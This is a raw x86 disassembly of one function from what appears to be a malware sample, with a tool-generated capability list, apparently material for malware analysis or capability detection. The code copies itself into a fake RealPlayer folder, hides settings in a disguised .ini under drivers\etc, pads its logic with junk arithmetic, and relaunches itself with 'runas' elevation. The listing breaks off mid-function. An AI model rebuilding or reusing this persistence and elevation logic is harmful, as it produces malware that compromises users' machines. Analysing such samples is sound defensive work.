Function at 0x4021f0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Create process suspended
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448b7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14c0
call fcn.0042e810
mov eax, dword [0x45c540]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0xfc4], eax
xor eax, eax
mov esi, dword [0x45abe8]
xor ebx, ebx
imul esi, esi, 0x54
mov byte [ebp - 0x814], bl
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], bl
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45abdc]
stosw word es:[edi], ax
imul ecx, ecx, 0x37
stosb byte es:[edi], al
add esi, ecx
mov ecx, dword [0x45abd4]
mov eax, 0x3159721f
imul ecx
sar edx, 4
add esi, edx
mov edi, edx
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [0x45abcc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x59
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, edx
mov eax, 0x63e7063f
imul ecx
sar edx, 5
mov esi, edx
add edi, edx
mov eax, 0x78787879
imul ecx
sar edx, 5
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add eax, edx
add esi, edi
sub esi, eax
push ebx
mov dword [str._r_____r____], esi
mov dword [ebp - 4], ebx
call fcn.0042e7d7
mov esi, dword [0x45abe0]
mov ecx, dword [0x45abe8]
imul esi, esi, 0x59
imul ecx, ecx, 0x54
mov edi, eax
sub esi, ecx
mov ecx, dword [0x45abd4]
mov eax, 0x3159721f
imul ecx
add esp, 4
sar edx, 4
mov dword [ebp - 0xfb4], edi
mov eax, edx
add esi, edx
mov edx, dword [0x45abe4]
shr eax, 0x1f
add eax, esi
shl edx, 4
add eax, edx
mov dword [ebp - 0xfac], eax
mov eax, 0x94f2095
imul ecx
mov eax, dword [ebp - 0xfac]
mov ecx, dword [0x45abcc]
sar edx, 1
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, edx
add eax, 0x4c
mov dword [0x45abcc], eax
call fcn.00446103
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xfcc]
call fcn.00402140
mov ecx, dword [ebp - 0xfcc]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
cmp al, bl
jne 0x402393
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4023a6
sub eax, edx
mov dword [ebp - 0xfa8], eax
jne 0x403463
mov esi, dword [0x45abdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45abd8]
lea ebx, [edx + ecx]
imul ecx, ecx, 0x53
imul ebx, ebx, 0x37
mov eax, esi
imul eax, eax, 0x59
add ebx, eax
mov eax, 0x3159721f
imul esi
sar edx, 4
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xdd67c8a7
imul esi
add edx, esi
mov esi, dword [0x45abe0]
sar edx, 5
mov eax, edx
push str.C:WINDoWS_system32driversetc_s2er333vice9.ini
shr eax, 0x1f
push 0x100
add eax, edx
lea edx, [ebp - 0x114]
push edx
sub ebx, eax
push 0x44ae89
add ebx, esi
push str.RAND
lea ecx, [ecx + ebx - 0x10]
push str.AAAAA
mov dword [0x45abd4], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [0x45abe8]
mov eax, dword [0x45abdc]
imul esi, esi, 0x54
mov ecx, dword [0x45abd4]
imul eax, eax, 0x37
add esi, eax
mov eax, 0x3159721f
imul ecx
sar edx, 4
add esi, edx
mov ebx, edx
mov eax, 0x63e7063f
imul ecx
sar edx, 5
mov ecx, edx
shr ebx, 0x1f
add ebx, esi
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45abcc]
mov edx, ecx
imul edx, edx, 0x59
add ebx, edx
mov eax, 0x63e7063f
imul ecx
sar edx, 5
mov esi, edx
add ebx, edx
mov eax, 0x78787879
imul ecx
sar edx, 5
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add eax, edx
add esi, ebx
lea ecx, [ebp - 0x114]
sub esi, eax
push ecx
mov dword [str._r_____r____], esi
call fcn.0042e7d2
add esp, 4
test eax, eax
jle 0x4024e1
lea edx, [ebp - 0x114]
push edx
call fcn.0042e7d2
add esp, 4
mov dword [ebp - 0xfb4], eax
jmp 0x402512
push edi
lea eax, [ebp - 0x114]
push 0x44ab00
push eax
call fcn.0042e1a1
add esp, 0xc
push str.C:WINDOWS_system32driversetc_s2er333vice9.ini
lea ecx, [ebp - 0x114]
push ecx
push str.RAND
push str.AAAAA
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [0x45abe8]
mov ebx, dword [0x45abe0]
imul eax, eax, 0x54
mov esi, dword [0x45abd4]
imul ebx, ebx, 0x59
sub ebx, eax
mov dword [ebp - 0xfc8], eax
mov ecx, dword [0x45abe4]
mov eax, 0x3159721f
imul esi
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, ecx
shl edx, 4
add edi, edx
mov eax, 0x94f2095
imul esi
mov esi, dword [0x45abcc]
sar edx, 1
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0xdd67c8a7
imul esi
add edx, esi
mov esi, dword [str._r_____r____]
sar edx, 5
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
sub eax, esi
lea edx, [eax + ebx + 0x4c]
mov eax, dword [ebp - 0xfb4]
mov dword [0x45abcc], edx
cdq
mov edi, 0x190
idiv edi
mov dword [ebp - 0xfa8], ebx
mov edi, edx
mov eax, edx
and eax, 0x80000001
mov dword [ebp - 0xfc0], edi
jns 0x4025ba
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x402742
mov eax, 0x63e7063f
imul esi, esi, 0x53
imul ecx
mov eax, dword [0x45abcc]
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45abd0]
add eax, edx
imul eax, eax, 0x44
mov dword [ebp - 0xfac], eax
mov eax, 0x3159721f
imul ecx
mov eax, dword [ebp - 0xfac]
sar edx, 4
add eax, edx
mov ecx, edx
mov edx, dword [0x45abe0]
imul edx, edx, 0x21
shr ecx, 0x1f
add ecx, eax
mov eax, dword [0x45abdc]
shl eax, 4
add ecx, edx
add ecx, eax
mov eax, 0x94f2095
imul dword [0x45abcc]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45abd4]
sub ecx, eax
add ecx, ebx
dec edi
mov dword [ebp - 0xfac], edi
mov edi, dword [0x45abc8]
lea eax, [edi + edx]
imul eax, eax, 0x25
mov dword [ebp - 0xfb0], eax
mov eax, 0x3159721f
imul dword [0x45abd8]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfb0]
sub edx, eax
mov dword [ebp - 0xfb0], edx
mov eax, 0x78787879
imul dword [0x45abd8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfb0]
sub edx, eax
mov dword [ebp - 0xfb0], edx
mov eax, 0x6bca1af3
imul dword [str._r_____r____]
mov eax, dword [ebp - 0xfb0]
sar edx, 5
mov dword [ebp - 0xfb4], esi
add eax, edx
mov esi, edx
mov edx, dword [ebp - 0xfc0]
shr esi, 0x1f
add esi, eax
mov eax, dword [0x45abd8]
sub esi, ebx
add esi, dword [ebp - 0xfb4]
inc edx
mov dword [ebp - 0xfbc], edx
mov edx, dword [str._r_____r____]
lea ebx, [eax + edx]
mov dword [0x45abdc], ecx
imul ebx, ebx, 0x37
mov dword [0x45abe4], esi
mov eax, ecx
imul eax, eax, 0x59
add ebx, eax
mov eax, 0x3159721f
imul ecx
sar edx, 4
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45abe0]
sub ebx, eax
add ebx, dword [ebp - 0xfb4]
mov eax, dword [ebp - 0xfc0]
lea ebx, [ebx + edx - 0x10]
mov dword [0x45abd4], ebx
add eax, 3
jmp 0x40283c
mov eax, dword [0x45abc8]
mov edx, dword [0x45abd4]
lea ebx, [eax + edx]
imul ebx, ebx, 0x25
mov eax, 0x3159721f
imul dword [0x45abd8]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x78787879
imul dword [0x45abd8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x63e7063f
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0x53
sub ebx, ecx
mov ecx, dword [0x45abe0]
add ebx, edx
mov eax, 0x6bca1af3
imul esi
mov eax, dword [0x45abc8]
sar edx, 5
add ebx, edx
mov dword [ebp - 0xfac], edi
lea edi, [eax + ecx]
mov ecx, dword [0x45abd0]
mov esi, edx
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
shl edi, 4
add edi, edx
shr esi, 0x1f
add esi, ebx
mov ebx, edx
mov eax, 0x3e0f83e1
imul ecx
sar edx, 3
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov edi, edx
mov eax, ecx
cdq
and edx, 0xf
add eax, edx
sar eax, 4
shr edi, 0x1f
add edi, ebx
add edi, eax
mov ebx, dword [0x45abd4]
mov eax, 0x94f2095
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0xfc0]
lea ecx, [eax + 2]
mov dword [ebp - 0xfbc], ecx
mov ecx, dword [0x45abdc]
mov dword [0x45abe4], esi
mov dword [0x45abc8], edi
add eax, 4
mov dword [ebp - 0xfb0], eax
mov eax, 0x3159721f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xfb4], eax
mov eax, ecx
imul eax, eax, 0x37
mov dword [ebp - 0xfb8], eax
mov eax, 0x63e7063f
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfb8]
sub edx, eax
mov ebx, edx
mov edx, dword [0x45abcc]
mov eax, edx
imul eax, eax, 0x59
add ebx, eax
mov eax, 0x63e7063f
imul edx
sar edx, 5
mov eax, ebx
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x78787879
imul dword [0x45abcc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfb4]
sub ebx, eax
mov eax, dword [ebp - 0xfc8]
add ebx, edx
mov edx, dword [ebp - 0xfbc]
add ebx, eax
mov eax, 0x190
cmp edx, eax
mov dword [str._r_____r____], ebx
jl 0x40294d
mov eax, 0x94f2095
imul dword [0x45abd4]
sar edx, 1
mov eax, edx
shr eax, 0x1f
mov ebx, esi
shl ebx, 4
add ebx, edx
add eax, ebx
mov ebx, dword [0x45abcc]
mov dword [ebp - 0xfb8], eax
mov eax, 0xdd67c8a7
imul dword [0x45abcc]
add edx, ebx
mov ebx, dword [ebp - 0xfb8]
sar edx, 5
mov eax, edx
add ebx, edx
mov edx, dword [ebp - 0xfa8]
shr eax, 0x1f
add eax, ebx
sub eax, dword [str._r_____r____]
add eax, edx
mov edx, dword [ebp - 0xfb4]
lea eax, [eax + edx + 0x4c]
mov edx, dword [ebp - 0xfc0]
dec edx
mov dword [0x45abcc], eax
mov dword [ebp - 0xfbc], edx
mov ebx, dword [0x45abe8]
imul edi, edi, 0x53
mov eax, 0xb81702e1
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x30c30c31
imul ebx
sar edx, 4
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, dword [0x45abe0]
mov dword [ebp - 0xfa8], eax
mov eax, 0xdd67c8a7
imul dword [0x45abe0]
add edx, edi
mov edi, dword [ebp - 0xfa8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [0x45abe0]
mov edx, edi
imul edx, edx, 0x25
add eax, edx
mov edx, dword [ebp - 0xfb0]
shl ebx, 4
sub eax, ebx
sub eax, dword [ebp - 0xfb4]
mov dword [0x45abd8], eax
mov eax, 0x190
cmp edx, eax
jl 0x402a34
mov eax, dword [0x45abd0]
imul edi, edi, 0x21
mov edx, dword [0x45abcc]
lea ebx, [eax + edx]
mov eax, 0x3159721f
imul ebx, ebx, 0x44
imul esi
sar edx, 4
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x63e7063f
imul esi
sar edx, 5
add ebx, edx
mov esi, edx
mov eax, 0x94f2095
imul dword [0x45abcc]
shr esi, 0x1f
sar edx, 1
add esi, ebx
mov eax, edx
add esi, edi
shl ecx, 4
shr eax, 0x1f
add esi, ecx
add eax, edx
sub esi, eax
mov dword [0x45abdc], esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push str.c:program_filesRealplayer
call edi
mov edx, dword [0x45abc8]
mov ecx, dword [0x45abe0]
lea esi, [edx + ecx]
mov ecx, dword [0x45abd0]
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
shl esi, 4
add esi, edx
mov ebx, edx
mov eax, 0x3e0f83e1
imul ecx
sar edx, 3
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov eax, ecx
mov ecx, dword [0x45abe4]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
shr esi, 0x1f
add esi, ebx
add esi, eax
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0xfac]
imul eax, eax, 0x25
mov dword [0x45abc8], esi
lea esi, [eax + str.Installing]
push esi
lea ecx, [ebp - 0x214]
push str.c:program_filesRealplayer_s
push ecx
mov dword [ebp - 0xfb8], esi
call fcn.0042e1a1
mov edx, dword [0x45abd4]
mov eax, dword [0x45abc8]
mov ecx, dword [0x45abd8]
lea ebx, [eax + edx]
mov eax, 0x3159721f
imul ebx, ebx, 0x25
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x78787879
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45abe4]
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53
sub ebx, eax
add esp, 0xc
add ebx, edx
mov eax, 0x6bca1af3
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add ebx, edx
push 0
lea ecx, [ebp - 0x214]
add eax, ebx
push ecx
mov dword [0x45abe4], eax
call edi
mov eax, dword [0x45abc8]
mov edx, dword [0x45abe0]
mov ecx, dword [0x45abd0]
lea edi, [eax + edx]
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
mov ebx, edx
shl edi, 4
add edi, edx
mov eax, 0x3e0f83e1
imul ecx
sar edx, 3
mov eax, ecx
mov ecx, dword [0x45abe4]
shr ebx, 0x1f
add ebx, edi
mov edi, edx
add ebx, edx
cdq
and edx, 0xf
add eax, edx
shr edi, 0x1f
sar eax, 4
add edi, ebx
add edi, eax
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfbc]
imul edx, edx, 0x25
add edx, str.Installing
push edx
push esi
lea eax, [ebp - 0x214]
sub edi, ecx
push str.c:program_filesRealplayer_s_s.exe
push eax
mov dword [0x45abc8], edi
call fcn.0042e1a1
mov ecx, dword [0x45abe8]
mov edi, dword [0x45abc8]
mov eax, 0x3159721f
imul edi, edi, 0x53
imul dword [0x45abd4]
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 4
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add esp, 0x10
add ebx, edi
mov edi, dword [0x45abe0]
mov eax, 0xdd67c8a7
imul edi
add edx, edi
imul edi, edi, 0x25
sar edx, 5
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
mov edx, ecx
imul ecx, ecx, 0x54
shl edx, 4
sub eax, edx
sub eax, esi
mov dword [0x45abd8], eax
mov eax, dword [0x45abdc]
imul eax, eax, 0x37
add ecx, eax
mov edi, dword [0x45abcc]
mov eax, 0x63e7063f
imul dword [0x45abd4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x59
sub ecx, eax
add ecx, edx
mov eax, 0x63e7063f
imul edi
sar edx, 5
add ecx, edx
mov ebx, edx
mov eax, 0x78787879
imul edi
sar edx, 5
mov eax, edx
shr ebx, 0x1f
add ebx, ecx
shr eax, 0x1f
add eax, edx
push 0x100
lea ecx, [ebp - 0x114]
sub ebx, eax
push ecx
add ebx, esi
push 0
mov dword [ebp - 0xfac], 0
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x114]
push 0x8000
push edx
call fcn.0043b111
mov ecx, dword [0x45abe0]
mov edx, dword [0x45abe8]
imul ecx, ecx, 0x59
mov esi, dword [0x45abd4]
imul edx, edx, 0x54
mov edi, eax
sub ecx, edx
mov eax, 0x3159721f
imul esi
mov eax, dword [0x45abe4]
sar edx, 4
mov ebx, edx
add ecx, edx
shl eax, 4
shr ebx, 0x1f
add ebx, ecx
add ebx, eax
mov eax, 0x94f2095
imul esi
sar edx, 1
mov eax, edx
add esp, 0xc
shr eax, 0x1f
add ebx, edx
mov ecx, dword [0x45abcc]
add eax, ebx
mov ebx, eax
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
mov ebx, dword [str._r_____r____]
sub ecx, ebx
add ecx, 0x4c
cmp edi, 0xffffffff
mov dword [0x45abcc], ecx
je 0x40302e
mov ecx, dword [0x45abd8]
lea esi, [ecx + ebx]
imul ebx, ebx, 0x53
mov ecx, dword [0x45abdc]
imul esi, esi, 0x37
mov edx, ecx
imul edx, edx, 0x59
add esi, edx
mov eax, 0x3159721f
imul ecx
sar edx, 4
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, eax
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45abe0]
sub esi, eax
push 0x100000
add esi, edx
lea ecx, [ebx + esi - 0x10]
push 0x45d4c0
push edi
mov dword [0x45abd4], ecx
call fcn.00439d1e
push edi
mov ebx, eax
call fcn.00439eb4
add esp, 0x10
cmp ebx, 0x2800
jle 0x403022
mov ecx, dword [0x45abcc]
mov edx, dword [0x45abd0]
mov esi, dword [0x45abe4]
lea edi, [edx + ecx]
mov eax, 0x3159721f
imul edi, edi, 0x44
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, eax
mov eax, 0x63e7063f
imul esi
mov eax, dword [0x45abe0]
imul eax, eax, 0x21
sar edx, 5
mov esi, edx
add edi, edx
mov edx, dword [0x45abdc]
shr esi, 0x1f
add esi, edi
add esi, eax
shl edx, 4
add esi, edx
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 0
mov dword [0x45abdc], esi
call fcn.0042e7d7
push eax
push 0x44ab00
push 0x45d7c0
call fcn.0042e1a1
push 0x180
lea ecx, [ebp - 0x214]
push 0x8302
push ecx
call fcn.0043b111
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x402eef
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
jmp 0x402eb0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402eb0
sub eax, edx
lea edx, [ebp + eax - 0x218]
push str.s.exe
push edx
call fcn.0042e1a1
push 0x180
lea eax, [ebp - 0x214]
push 0x8302
push eax
call fcn.0043b111
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x403022
mov ecx, dword [0x45abd4]
mov edx, dword [0x45abc8]
lea edi, [edx + ecx]
mov ecx, dword [0x45abd8]
imul edi, edi, 0x25
mov eax, 0x3159721f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x78787879
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45abe4]
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53
sub edi, eax
add edi, edx
mov eax, 0x6bca1af3
imul ecx
sar edx, 5
mov eax, edx
push ebx
shr eax, 0x1f
add edi, edx
add eax, edi
push 0x45d4c0
push esi
mov dword [0x45abe4], eax
call fcn.004376f6
push 2
push 0
push esi
call fcn.0043748f
mov edx, dword [0x45abc8]
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45abe0]
lea edi, [edx + ecx]
mov ecx, dword [0x45abd0]
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
shl edi, 4
add edi, edx
mov ebx, edx
mov eax, 0x3e0f83e1
imul ecx
sar edx, 3
shr ebx, 0x1f
add ebx, edi
mov edi, edx
add ebx, edx
mov eax, ecx
mov ecx, dword [0x45abe4]
cdq
and edx, 0xf
add eax, edx
shr edi, 0x1f
sar eax, 4
add edi, ebx
add edi, eax
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov ecx, dword [ebp - 0xfbc]
mov eax, edx
shr eax, 0x1f
add eax, edx
push ecx
lea edx, [ebp - 0xe14]
push edx
sub edi, eax
push esi
mov dword [0x45abc8], edi
call fcn.004376f6
push esi
call fcn.00439eb4
add esp, 0x28
mov dword [ebp - 0xfac], 1
mov ecx, dword [0x45abcc]
mov esi, dword [0x45abd4]
mov eax, dword [0x45abe8]
mov edx, dword [0x45abd0]
imul eax, eax, 0x54
mov dword [ebp - 0xfc8], eax
mov eax, 0x6bca1af3
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45abc8]
imul edx, edx, 0x37
sub edx, eax
mov eax, dword [0x45abd8]
mov edi, dword [0x45abdc]
imul eax, eax, 0x52
add edx, eax
mov dword [ebp - 0xfa8], edx
mov eax, 0x63e7063f
imul edi
mov ebx, dword [0x45abe4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfa8]
sub edx, eax
mov eax, dword [0x45abd8]
mov dword [ebp - 0xfa8], edx
cdq
and edx, 0xf
add eax, edx
mov edx, dword [ebp - 0xfa8]
sar eax, 4
add edx, eax
mov eax, dword [ebp - 0xfac]
sub edx, ebx
cmp eax, 1
mov ebx, dword [ebp - 0xfc8]
lea edx, [edx + ebx - 0x10]
mov dword [0x45abd0], edx
jne 0x403454
mov eax, 0x3159721f
imul edi, edi, 0x37
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [ebp - 0xfa8], eax
mov eax, 0x63e7063f
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfa8]
sub edx, eax
mov eax, ecx
imul eax, eax, 0x59
add edx, eax
mov dword [ebp - 0xfa8], edx
mov eax, 0x63e7063f
imul ecx
mov eax, dword [ebp - 0xfa8]
sar edx, 5
mov esi, edx
add eax, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x78787879
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x214]
push edx
sub esi, ecx
lea eax, [ebp - 0x114]
push str._s__33201_
add esi, ebx
push eax
mov dword [str._r_____r____], esi
call fcn.0042e1a1
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x1010]
rep stosd dword es:[edi], eax
mov edi, dword [0x45abe0]
mov ecx, dword [0x45abe8]
imul ecx, ecx, 0x54
mov esi, edi
imul esi, esi, 0x59
sub esi, ecx
mov ecx, dword [0x45abd4]
mov eax, 0x3159721f
imul ecx
sar edx, 4
add esi, edx
mov ebx, edx
mov edx, dword [0x45abe4]
shl edx, 4
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x94f2095
imul ecx
mov ecx, dword [0x45abcc]
sar edx, 1
add ebx, edx
mov esi, edx
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
shr esi, 0x1f
mov eax, edx
add esp, 0xc
add esi, ebx
mov dword [ebp - 0x1010], 0x44
shr eax, 0x1f
mov ecx, dword [str._r_____r____]
add esi, edx
mov edx, dword [0x45abd8]
add eax, esi
mov esi, dword [0x45abdc]
sub eax, ecx
add eax, 0x4c
mov dword [0x45abcc], eax
lea ebx, [edx + ecx]
imul ecx, ecx, 0x53
imul ebx, ebx, 0x37
mov eax, esi
imul eax, eax, 0x59
add ebx, eax
mov eax, 0x3159721f
imul esi
sar edx, 4
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xdd67c8a7
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebp - 0x1020]
push edx
lea eax, [ebp - 0x1010]
push eax
push 0
push 0
push 0x20
push 0
add ebx, edi
lea ecx, [ecx + ebx - 0x10]
push 0
mov dword [0x45abd4], ecx
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0
mov dword [ebp - 0xfe4], 1
mov word [ebp - 0xfe0], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov eax, 0x3159721f
je 0x4032f5
mov ecx, dword [0x45abcc]
mov edx, dword [0x45abd0]
mov esi, dword [0x45abe4]
lea edi, [edx + ecx]
imul esi
imul edi, edi, 0x44
sar edx, 4
mov ebx, edx
add edi, edx
mov eax, 0x63e7063f
imul esi
mov eax, dword [0x45abe0]
imul eax, eax, 0x21
sar edx, 5
mov esi, edx
shr ebx, 0x1f
shr esi, 0x1f
add ebx, edi
add ebx, edx
mov edx, dword [0x45abdc]
add esi, ebx
add esi, eax
shl edx, 4
add esi, edx
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 0
mov dword [0x45abdc], esi
call fcn.0042e70a
mov ecx, dword [0x45abd4]
mov edx, dword [0x45abc8]
lea esi, [edx + ecx]
mov ecx, dword [0x45abd8]
imul esi, esi, 0x25
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x78787879
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45abe4]
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53
sub esi, eax
add esi, edx
mov eax, 0x6bca1af3
imul ecx
mov ecx, dword [ebp - 0xfb8]
sar edx, 5
mov eax, edx
push ecx
add esi, edx
shr eax, 0x1f
lea edx, [ebp - 0x214]
add eax, esi
push str.C:Program_Files_s
push edx
mov dword [0x45abe4], eax
call fcn.0042e1a1
add esp, 0xc
push 1
lea eax, [ebp - 0x214]
push eax
push 0
lea ecx, [ebp - 0x114]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x4040cf
mov eax, dword [0x45abc8]
mov edx, dword [0x45abe0]
mov ecx, dword [0x45abd0]
lea esi, [eax + edx]
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
mov edi, edx
shl esi, 4
add esi, edx
mov eax, 0x3e0f83e1
imul ecx
sar edx, 3
mov eax, ecx
mov ecx, dword [0x45abe4]
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
cdq
and edx, 0xf
add eax, edx
shr esi, 0x1f
sar eax, 4
push 0
add esi, edi
add esi, eax
push 0
mov eax, 0x94f2095
imul ecx
push 0
push 0
